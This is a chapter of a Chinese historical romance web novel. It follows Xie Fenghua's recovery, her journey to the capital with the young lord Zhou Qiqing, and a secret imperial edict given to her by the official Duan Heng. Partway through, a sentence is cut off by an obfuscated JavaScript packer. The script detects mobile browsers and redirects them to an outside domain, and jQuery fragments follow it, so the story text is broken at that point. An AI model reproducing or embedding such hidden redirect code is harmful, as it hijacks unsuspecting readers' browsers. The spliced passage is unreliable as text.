再醒来，身边依偎着小小的阿年。
她的小手握着谢逢华的手指，头枕在床榻边，眼巴巴地瞧着她。
谢逢华张了张口，嗓中却发不出一点声音。
“谢姨，你醒啦！”阿年高兴蹦起来，“我去唤人！”
片刻，一位医女走来，撩开厚重的纱帘，为她把脉。
谢逢华这才发现，这纱帘质感柔滑，并非寻常百姓所拥有的。
“寒气入骨，已成顽疾，恐怕日后难以痊愈了。”
谢逢华没说话，静静看着她敷药用针，半晌，艰涩开口：“这里……是哪儿？”
“自然是医馆。”医女道，“方才那女童发现你晕倒在家中，便唤人将您送来了。”
“谁？”
“我也不知，是个很俊俏的小公子，”医女笑了笑，合上药箱，“只是说话有些……刺耳。”
言毕，医女道了句安，便又掀开纱帘离开了。
阿年坐在床榻边，眨巴着眼，“谢姨你好些了吗？”
谢逢华点点头：“好多了，多谢阿年。”
“嘿嘿，我也只是凑巧啦。”阿年不好意思地挠挠头，“小姨家没有书，我就想来您家借，没想到就……”
书吗？
早就换作买药钱了。
谢逢华道：“只有你一个人？”
“还有一个大哥哥。”阿年比划着高度，“高高的，特别厉害的，上回还救了阿年和谢姨。”
是他。
谢逢华心中一紧：“他现在在哪？”
阿年看着她，摇了摇头：“大哥哥说男女有别，不便见面。”
什么不便见面，要么举手之劳不足挂齿，要么就是碍着面子躲她。
谢逢华叹气，不明白世间怎会有这般矛盾的人。
阿年毕竟只是半大的孩子，到底是不方便照顾大人的，何况前阵子的确染了风寒，正是体弱时，谢逢华也不敢再与她牵扯太多。
于是一大一小说了几句，阿年便告辞回家吃饭了。
谢逢华在医馆将养了几日，偶然问起药钱，这才发现自己两袖清风，分毫都掏不出来。
医女看了她一会儿，继续低头敲算盘：“那就留下罢，什么时候还完债，什么时候再走。”
话落，谢逢华却有些犹豫。
现今谢逢华名声并不好听，若留在医馆，只怕是影响医女的声誉和医馆的生意。
含蓄道出理由后，医女放下药秤，无语地看着她：“来医馆闹事？怎么，活够了？”
谢逢华：“……”
谢逢华留在医馆，依着医女的安排，在后院为病患煎药。
时间如白驹过隙，一眨眼，小半月过去了。
在这段时间，有人不顾流言向谢逢华示爱，有人借机闹事欲强纳谢逢华为妾，也有人不加收敛，肆意挑衅医馆。
“你向我学医，最后就这么忍了？”医女睨她，“要报复直接上门捅他们一刀，别拿我的药罐撒气。”
这日过后，凡是与医馆作对的，要么喝错了药上吐下泻，要么喝多了出现幻觉自己上吊自杀了，死的死残的残，偏偏旁人还抓不到一点把柄。
一时间，竟再无人敢接触谢逢华。
卖了些家中物什，又接了些抄书润笔的活计，干了月余工，欠医馆的债算是还清了。
告别那日，医女依旧是那副爱搭不理的模样，“接下来去哪？”
“去华京，去找我兄长。”
医女淡淡应了声：“看来你想通了。”
谢逢华笑了笑：“或许罢。”
医女嘱咐道：“凡事想开些，以后……别再做傻事了。”
谢逢华闷闷“嗯”了声：“我走了。”
医女摆摆手，转身，继续抽出药柜配药。
直至再也听不见她的脚步声，医女凝神，回身放下了药秤。
关门落锁，医馆今日闭门谢客。
医女回到房中，摘下一人长宽的卷轴，沿着墙砖缝隙摸索，“咔哒”一声，砖墙凹陷，露出一面不染尘埃的牌位。
医女燃了三炷香，立于牌位之前，虔诚拜了三拜。
“若您在天有灵，请保佑这孩子平安归来。”
星火点点，青烟袅袅。
昏暗中，“先师杜若之灵位”几字赫然跃于其上。
—
“中！”
箭矢飞羽，野鹿重重倒地，抽搐几下，没了声息。
随从上前，利落捆绑死鹿，一端挂于车驾之后。
身后，当朝宰相周惕守引马而来，见状拊掌应和：“几日不见，你的箭术又精进了。”
周其卿收弓，面上不见分毫喜悦：“若父亲常回家看看，便知儿子箭术一直如此。”
周惕守抬手挥退侍从，“若你的功课与箭术般稳定，为父倒也不必操这份心。”
功课功课，又是功课！
聊些旁的，周其卿兴许还愿意搭上两句，可若提起功课，父子之间的谈话便止步于此。
周其卿打马便走，压根不管身后父亲冷峻的脸色。
回到幄帐，众人一瞧他面如锅底，便知父子必定又起了争执。
周其卿愤然落座，弓弩重重拍在桌案上。
妃嫔贵人皆噤了声，小心翼翼窥探着世子面色。
长公主派人呈来一碗热汤暖身，“猎到几只？”
赌气归赌气，周其卿尚不敢在母亲面前造次。
“三只，全被人半路劫走了。”
长公主正要问是谁这么不长眼，毡帘忽然被掀开，启昭帝大笑着踏足而来。
将军文臣皆簇于两侧，满脸写着“奉承”二字。
周其卿下意识看了眼长公主，见她起身，也随着众人动作，慢吞吞站起来了。
启昭帝落座，接过帕子擦了擦额头的汗，道：“今日收获颇丰，尤其这野鹿肥美，来人，架火，烤肉！”
几个大臣立刻附和道：“陛下神武，此乃天骄。”
周其卿打眼望去，顿然乐了——这不就是周其卿猎到的那两只吗？
那时他还琢磨为何周惕守明明不通骑射，却执意跟在他后面收拾残局，敢情打的这个算盘。
借花献佛这一招用到亲儿子身上，周惕守当真是好算计。
周其卿冷哼一声，婉拒了皇帝共享鹿肉的邀约，独自躲在一旁，一杯接一杯喝着闷酒。
“少喝些。”长公主无奈道，“年纪不大，酒瘾不小，是该找人管着你了。”
周其卿摇晃着酒盏，喜怒不显于色。
酒过三巡，周其卿借口内急，离开了载歌载舞的宴场。
周铭潜声上前：“世子，马车已在外候着了。”
“东西呢？”
“都在里面了。”
周其卿留下周铭处理后事，随后独自登上马车，“走，去阳城。”
猎场离阳城不远，约莫一个时辰，马车便赶到了阳城附近。
“停下！”
“世子？”
周其卿越下马车，将彤云从车驾中牵出，翻身上马，侧目对茫然的马夫道：“你在此地候着。”
说罢，周其卿扬鞭策马，朝着其中一座山头奔去。
按那人话所言，陈言意的坟就在这附近了。
周其卿费了些功夫，这才找到了那两个坟冢。
意外的是，坟前有女子亭亭而立，不知其所思。
腰间随风飘荡的白绫昭示着家中变故，她衣装素雅，白纱如瀑，坠下帷帽，模糊了她的容颜。
茫茫雪白之中，竟分不清那是活生生的人，还是虚无缥缈的魂魄。
锦靴踏在松软雪地上，发出细微的咯吱声响。
谢逢华循声望去，看清来人，言语里是自己也未觉察到欣喜：“是你？”
“姑娘还记得我。”视线落在她脚边的包袱上，周其卿道，“姑娘这是……”
谢逢华拾起包袱，掸去表面浮雪，“我要离开阳城了，顺路过来看看。”
“去哪？”
“华京。”
周其卿“哦”了声，对她的意图并不大上心：“姑娘身子可好些了？”
“劳您挂念，一切安好。”谢逢华道，“世子前来，也是顺路吗？”
“顺路，也不顺路。”
听出他话里话外的遮掩，谢逢华没有半分不悦，反而耐着性子接下他的话：“听闻冬狩围场就在阳城附近，世子说顺路，倒也没错。”
但抛下冬狩专程来看陈言意，这路便走得有些曲折了。
是为了避人耳目，还是单纯想来？
周其卿咧嘴一笑：“姑娘说话文绉绉的，同太学的教书先生上课一般，我竟是听不懂了。”
谢逢华：“……”
周其卿踢了踢脚边隆起的雪堆，“姑娘去华京，可有同行的人？”
谢逢华抱紧怀中包袱，闻言，抬眸窥他一眼，低言道：“尚未。”
“正巧我也要回华京，不如我捎带你一程，就当是交个朋友。”
谢逢华默然，道：“世子就不怕我居心叵测，反倒害了世子？”
“你我无冤无仇，为何要害我？”周其卿抱臂，好整以暇地打量着她。
况且以她的身形，周其卿要想对付她，简直易如反掌。
谢逢华挽起鬓发拨弄耳后，不大自在地说：“玩笑话而已，世子莫要当真。”
—
车内熏香清雅，有美酒美食相伴，座下是金丝软垫，舒适宜人。
买驴车代步都要衡量两日谢逢华，在此时格外局促，龟缩一角，连手脚都不知放在哪里好。
对侧的周其卿却是见怪不怪，许是闲得无聊，也有一搭没一搭与她闲谈。
“此去华京，可有人接应？”
谢逢华抱紧包袱，轻轻摇了摇头。
纱幔如雾，随着动作飘流，恍惚间，周其卿窥见她眼底的一抹黯然。
周其卿道：“身上银两可还够？”
“临行前凑了些，应是够的。”谢逢华道，“再不济，我还有些手艺，找间绣坊做工，大抵是足够温饱的。”
“华京出名的绣坊，便是文锦苑，其次便是明氏绢纺，你倒是可以去那里碰碰运气，再不济——”
周其卿顿了顿，道：“听那小孩说，你在阳城教孩子读书识字。华京贵商多为家中女眷请女夫子，吃住都在府中，也是个安身之所。”
又说了几句，不知谁先提起，话题便引到了陈言意身上。
提及陈氏夫妇的坟冢，谢逢华默了两息，道：“此事还要多谢世子。”
“谢我？”
为罪臣立坟冢，传出去并不好听，彼时多少人暗中指责，又有多少人欲借此事大做文章，谢逢华皆熟视无睹。
谢逢华只怕他们扰了陈氏夫妇清净。
谢逢华在坟冢里动了手脚，若那些人敢来刨坟，坟冢四周的炸药定让他们有去无回。
出乎意料的事，一连几日，坟冢四周安然无恙。
“后来我才知晓，县衙确实有毁尸的念头，是世子出面说情，才留了陈大人最后的体面。”
出面说情？
他怎么不知道有这事？
“陈大人曾教过我几堂课，我也算是他半个学生。投之以桃报之以李，学生回报老师，不过人之常情。”
谢逢华掩唇轻笑：“像世子这般心地纯良的人，当真是不多见了。”
纯良……
这词听着倒是没听过。
周其卿只手撑额，静静看着她。
车厢吱呀响，云雾轻摇，烦躁的内心竟前所未有的平静祥和。
“噗。”周其卿忽然笑出了声。
谢逢华不解：“怎么？”
“无事。”周其卿笑眼弯弯，分不清是自嘲还是开心，“就是想起，我还是第一次被人夸呢。”
—
少年心性总是多变，这才坐了不到半途，他就坐不住了，一边嘴上嫌弃车马慢，一边动身要替马夫赶车。
马夫不敢拦，谢逢华懒得拦，干脆任由他去了。
可车速提上去了，谢逢华却有些难熬了。
谢逢华扶着窗，掩唇强压下作呕感。
马夫缩在角落，报以同情的目光。
这小孩驾车……这么猛吗？
谢逢华实在熬不住了，掀开帘，迎着呼啸的风声，大声唤道：“停车！”
烈马一声嘶鸣，车马终于在沙尘中停下。
谢逢华踉踉跄跄跳下马，蹲在地上，生无可恋地等待着魂魄归位。
周其卿跟着下马，半蹲在她身旁，“还活着吗？”
谢逢华摆手，有气无力：“你回华京，可是有急事？”
周其卿抚了下鼻尖，没说话。
“罢了。”谢逢华艰难撑膝起身，“我自己走去华京……”
“不成。”周其卿想也没想便拒了，“你若中途出了事，我如何给你家人交代？”
“……便当我没有家人罢。”谢逢华语气淡漠。
走了两步，衣袖忽然被拽住。
周其卿道：“你坐车，我骑马。”
“世子何必急着回华京？”
车外，马夫不死心地劝道：“最慢也不过两三日。”
周其卿将彤云从车驾中引出，“我一开始便说我不想来，偏偏父亲逼着我来。我来了，又让我将猎物让给那几位皇子……与其在这里受气，不如早点回去陪小妹堆雪人玩，还能落得自己开心。”
又行了一程，谢逢华掀开帘子，挪到马夫身侧，有一搭没一搭地聊着。
“世子留了些银两，说一路艰辛，让小娘子照顾好自己。”马夫硬是将荷包塞进了谢逢华手中，“世子心意，还望小娘子收下。”
“旁人都说世子行为放浪不羁，但依老奴之见，世子心里有杆自己的秤，是非有自己的考量，只是……旁人不愿花心思理解罢了。”
—
慢悠悠行了两日，终于抵达华京城下。
许是周世子有过交代，马夫引谢逢华至城内，交代了华京宵禁等要事，这才离开。
告别马夫，谢逢华站在熙熙攘攘的街上，翻搅的内心久久不能平息。
宝马香车，香绫绮衣，男女老少不知饥馑，街上路不拾遗，高楼飞檐，一片砖瓦亦可抵万钱。
而谢逢华，穿着家中唯一一件新衣裳，抱着一个鼓鼓囊囊的行囊，局促地站在人群中，盯着铺子里热气腾腾的枣糕，不争气地咽了咽口水。
好饿啊。
可是她要省着钱留以日后取用。
谢逢华四下转了转，遇人便打听国子监，就这么一路打探着，中途还险些被一辆马车撞到，那老头人模人样，一开口便是指责谢逢华挡了他的路。
谢逢华气不过，欲与他争论，又被几个看客拦下，说什么“刘博士年事已高便让一让”之类的话，和了一通稀泥，双方都骂骂咧咧地走了。
谢逢华寻到国子监，却打听到国子监司业今日不在监内。
夜色将近，眼瞧着司业一时半刻回不来了，谢逢华只得悻悻而归，先去寻落脚的地方。
一间临时落脚的客栈，最便宜的也要百文。
可谢逢华哪来那么多钱？
谢逢华钻进一条窄巷，借着楼上一缕摇摇欲坠的烛光，在酒气歌声中，小心翼翼打开了护了一路的包袱。
匣子尚完好，匣中书信她之外再无活人知晓。
几件衣物里，藏着谢逢华事先准备好的信纸。
好在那封引荐信还在，只是不知那段司业还认不认昔日同朝为官的好友。
谢逢华重新将包袱裹好，捂着冻的毫无知觉的鼻尖，决定先活下去，剩下的，就交给命数和天上的故人。
附近有一家汤饼馆子，抱着吃不起也要进去暖暖身的想法，谢逢华跨过了门槛。
店内正是人烟高涨时，谢逢华又太过不起眼，因而一时无人理会她。
谢逢华左瞧瞧右看看，只在角落找到一张尚且空缺的位子。
有一人正低头大快朵颐，置于手边的玉牌更是彰显此人身位不低。
走了一天，饥寒交迫，求生的本能战胜了恐惧，谢逢华鼓起勇气，走上前道：“公子，可否拼个桌？”
那人答应得爽快，谢逢华道了谢，护着包袱，胆战心惊地坐在对面。
确认店家无暇顾及她这方寸一隅，谢逢华也稍稍松下气来，腾出心思思考着下一步的打算。
汤饼的香气勾引着味蕾，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533649|186445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢逢华很快被对面人勾去了视线。
“店家，来碗汤面！”
谢逢华骤然回神，抬眼撞见那人慈爱的双眸，更是羞的无地自容。
“我……我没那个意思……”谢逢华扣着衣角，恹恹地说。
“尽管吃，算我的。”
谢逢华烫耳道谢。
“听口音，小娘子并非华京人士。”
谢逢华闷闷应了声：“我此来华京，是为寻人。”
“孤身一人，可有临时安身之处？”
谢逢华摇摇头，“我受人之托，不敢耽搁，尚未寻到临时落脚处。”
主要还是没钱。
谢逢华悻悻想着，视线无意飘过他手边玉牌，看清上面篆体，愣了下，道：“贵人可是国子监司业段恒？”
果真是踏破铁鞋无觅处，得来只需一碗热汤面。
段恒阅着信，谢逢华就捧着碗大快朵颐，生怕吃完这顿便没下顿。
滚汤流遍四肢，烘得整个人都热气腾腾。
汤见了底，谢逢华才颇为遗憾地放下了碗筷。
不知何时，段恒已收了信，正托腮看着她。
晚时光线不好，谢逢华便将帷帽摘了，此时被人盯着，莫名有些害羞。
“吃饱了吗？”段恒道，“不够再添些。”
谢逢华下意识点头，又猛地摇头：“够了，段大人不必破费。”
本以为段恒会问她些关于陈言意的事，怎料吃饱喝足，段恒径直带她去了附近的客栈，包了雅间。
“这几日我有些事，脱不开身，你且安心住着，我得空便来看你。”
段恒解下腰间玉佩，连同几张银票压在桌上，“若缺什么，去对面那家华京书坊，唤我名号，他们自知该如何做。”
段恒又问了她一些关于陈言意的事，谢逢华挑拣着与他说了，临别前，又将事先整理的陈言意的遗物一并交给他。
走到门边，段恒忽然蹲足，侧目看向她，“直正……当真是畏罪自尽吗？”
闻言，谢逢华按下拆了一半的包袱，不动声色地往身后推了几分，“段大人与陈先生同朝为官数年，其人品，何须我这个外人点评？”
段恒愣了下，轻笑：“倒是个会说话的。”
说罢，段恒不再迟疑，挥袖离去。
—
休整了一日，谢逢华按照书信中的指使，又寻了几处地方，同时借着段恒的帮助，打听着兄长的下落。
又过了两日，谢逢华从外面回到客栈，一开门，段恒已等在房中，手边还有一顶鎏金的食盒。
“段大人何时来了？”谢逢华抖落伞上落雪，收伞置于门边。
“才来，不久。”几日不见，段恒眼底的乌青更浓重了些，他指了指食盒，“入了趟宫，顺便给你带了些好东西。”
谢逢华拾掇整洁，坐于段恒对座。
段恒把食盒往她面前推了推：“打开瞧瞧。”
谢逢华疑惑他的神秘，将信将疑地掀开盒盖。
偌大的食盒，里面却只有一盘白玉似的豆腐。
谢逢华正奇怪一盘豆腐有什么奇怪，段恒忽然探手端走豆腐，然后在食盒边缘摸索着什么。
“咔哒”一声，段恒取出一块圆木板，又将食盒推到她面前。
谢逢华探头朝里张望，只见方才放豆腐的位置，赫然出现一封盖有红印的信封。
“这是？”
谢逢华取了信，拆开，比起信中内容，明晃晃的红篆更是吓得她险些将这信丢出去。
“这这这这是……”谢逢华捏着那纸信封，却好似捧着一块灼手的宝玉，拿也不是，放也不是。
“陛下密诏，命你我暗中调查，以还陈家清白。”段恒将窗放下，抱臂立于其旁，“此事，只有陛下、你、我知晓。”
原来皇上一直都知道。
谢逢华捏着信，指尖掐出一抹月白。
—
一封轻如鸿毛的信，不过盖了玉玺，便轻易搅乱了谢逢华的思绪。
信上写什么“凭君心愿”，看似谦逊善解人意，实则直接把刀架在她脖子上，她不接，恐怕连客栈的门都出不去！
“一群衣冠禽兽！”
谢逢华擦去额角汗水，将包袱往肩上一抗，打开房门，迎面撞上抬手欲敲门的段恒。
段恒睨她：“你去哪？”
谢逢华讪笑：“屋里太闷了，我出去透透气。”
段恒看着她鼓鼓囊囊的包袱，神情一言难尽：“晚上还回来吗？”
谢逢华：“劳您费心，出意外的话应该是不回来了。”
段恒：“……”
经过几日相处，段恒也见识了她睁眼说瞎话的绝技，因而眼都没眨一下，拽着她的衣领将人拎回了房中。
“干嘛啊！”谢逢华瞪着段恒，这几日憋的闷气一股脑发泄出来，“你们分明就是算计我！”
段恒反手将门落锁，神情漠然：“不然你以为陈言意是怎么死的？”
话落，谢逢华倏然噤了声。
“谢娘子，不是我算计你。你，我，甚至是陈言意，我们都只是陛下用来扳倒周惕守的棋子。”
谢逢华双腿一软，跌坐在床上，面色苍白如纸。
瞧着她一副不敢置信的模样，段恒苦笑：“谢娘子，从你选择帮陈言意时起，便已是身不由己了。”
身、不、由、己？
谢逢华帮人是因为她尚存良知，但这不代表旁人可以随意拿捏。
谢逢华双拳暗握，隐有不甘：“他还要拉多少人下水？”
段恒深深看了她一眼，以沉默回应。
若她去找兄长，是不是兄长也会被……
谢逢华呆呆坐在床上，心中五味杂陈。
—
陈言意说华京水深，人心更是难测，人与人之间或亲或疏，或远或近，维系关系的不仅是血缘，更多的还是利益。
谢逢华尤记得，陈言意曾与她梳理过华京的人脉关系，从某书坊老板到皇帝，几乎事无巨细，甚至为图讲解方便，还在一本书上画了示意图。
那本书叫什么来着？
谢逢华竟一时想不起了。
谢逢华登时有些懊悔，早知用得上，那时便不急于卖书换钱了。
那收书的书贩子多收买世间稀罕书，随后经转手卖与书商，再由书商推销，卖给热爱珍藏书籍的读书人。
那人既是华京而来，或许她可以从书坊碰碰运气。
花了小半日时间，谢逢华转了几家书坊，皆是无果。
就在谢逢华反思是不是寻错方向时，余光不经意朝对街一瞥，倏然愣在原地。
是他？
褪去锦衣冷色，一袭青衫的少年更为意气风发。
周其卿与几个年纪相仿的同伴勾肩搭背，嬉笑着迈进了太学的大门。
谢逢华追了两步路，又倏然停下了脚步。
不过几面之缘，他怎么会记得一个小小的贫家女呢。
谢逢华自嘲般笑笑，转身回了客栈。
—
段恒再来到客栈时，谢逢华向他问起了周世子的事。
“世子？你们见过了？”
谢逢华目光闪避，含糊其辞道：“只是……只是路上逢人听起过。”
这话漏洞百出，段恒却也懒得拆穿她，只当是少女芳心萌动，好心劝道：“别看世子长的人模人样，实则性格顽劣，不堪大用。”
谢逢华摸了摸鼻尖，轻轻“哦”了声。
好在段恒并未将此事放在心上，几句话轻飘飘揭了过去。
段恒此次前来，是为告知谢逢华兄长的下落。
“谢怀世前些年便已成婚，家住青柳巷，科考落榜后便在一学堂当教书先生，日子还算圆满。”
得知兄长还活着，谢逢华如释重负。
只要还有亲人尚存于世，她就不是没有家的孤儿。
临近过年，段恒公务繁忙，腾不出空，碍着身份，也不便送她回家。
但临走前，段恒还是语重心长地嘱咐道：
“我们之间的事，莫要让旁人知晓。”
已有陈言意的前车之鉴，谢逢华点点头，背上包袱，在满天风雪中告别段恒，朝着城外走去。